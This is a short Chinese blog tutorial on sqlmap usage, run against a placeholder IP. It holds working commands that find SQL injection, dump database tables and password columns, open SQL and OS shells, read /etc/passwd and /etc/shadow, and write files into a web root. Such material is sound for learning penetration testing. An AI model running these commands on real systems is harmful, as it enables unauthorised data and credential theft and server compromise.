什么是Sqlmap?

 Sqlmap是一个专业的SQL注入工具,用法也很多,具体可以用"sqlmap -hh"查看完整的命令帮助文档,我这只是给大家分享一些最常用的Sqlmap用法:

一、Sqlmap注入篇
 1、检查注入点
 找注入点有两种方法:其中一种是手测,即在链接后手动加入一个闭合符查看是否报错,一般来说,有报错即存在注入;其二为在Sqlmap中检测是否存在注入点。

root@kali:/# sqlmap -u http://10.1.1.1/sql.php?id=11

 2、存在注入点后爆所有数据库信息

root@kali:/# sqlmap -u http://10.1.1.1/sql.php?id=11 --dbs

  爆当前数据库信息

root@kali:/# sqlmap -u http://10.1.1.1/sql.php?id=11 --current-db

 3、列出指定数据库所有的表名

root@kali:/# sqlmap -u http://10.1.1.1/sql.php?id=11 -D dbname --tables   //dbname为目标数据库名

 4、列出指定表名的所有列名

root@kali:/# sqlmap -u http://10.1.1.1/sql.php?id=11 -D dbname -T admin --columns   //admin为目标表名

 5、dump打印输出表名指定列名字段的值数据

root@kali:/# sqlmap -u http://10.1.1.1/sql.php?id=11 -D dbname -T admin -C name,password --dump  //'name,password' 为指定字段名称

二、Sqlmap用户权限篇
 1、列出数据库管理系统用户:

root@kali:/# sqlmap -u http://10.1.1.1/sql.php?id=11 --users

 查看当前连接数据库用户:

root@kali:/# sqlmap -u http://10.1.1.1/sql.php?id=11 --current-user

 2、判断当前用户是否是DBA?

root@kali:/# sqlmap -u http://10.1.1.1/sql.php?id=11 --is-dba

 3、查看用户权限:

root@kali:/# sqlmap -u http://10.1.1.1/sql.php?id=11 --sql-shell
sql-shell> select version();    
//注意:这里由于进入了sql shell可以执行sql语句了,也可以用 load data infile、load_file、into outfile等函数来进行文件读取或写入;

 2、cmd shell(--os-shell)

root@kali:/# sqlmap -u http://10.1.1.1/sql.php?id=11 --os-shell
root@kali:/# sqlmap -u http://10.1.1.1/sql.php?id=11 --os-cmd=ifconfig

 3、读取服务器上指定文件

root@kali:/# sqlmap -u http://10.1.1.1/sql.php?id=11 --file-read=/etc/passwd
root@kali:/# sqlmap -u http://10.1.1.1/sql.php?id=11 --file-read=/etc/shadow

 4、写入本地文件到服务器上

root@kali:/# sqlmap -u http://10.1.1.1/sql.php?id=11 --file-write /test/test.txt --file-dest /www/wwwroot/www.test.com/1.txt

 以上就是Sqlmap主要命令和参数了,Sqlmap有很多用法,有兴趣的师傅可以自己深入了解!

Last modification:September 3rd, 2021 at 10:00 am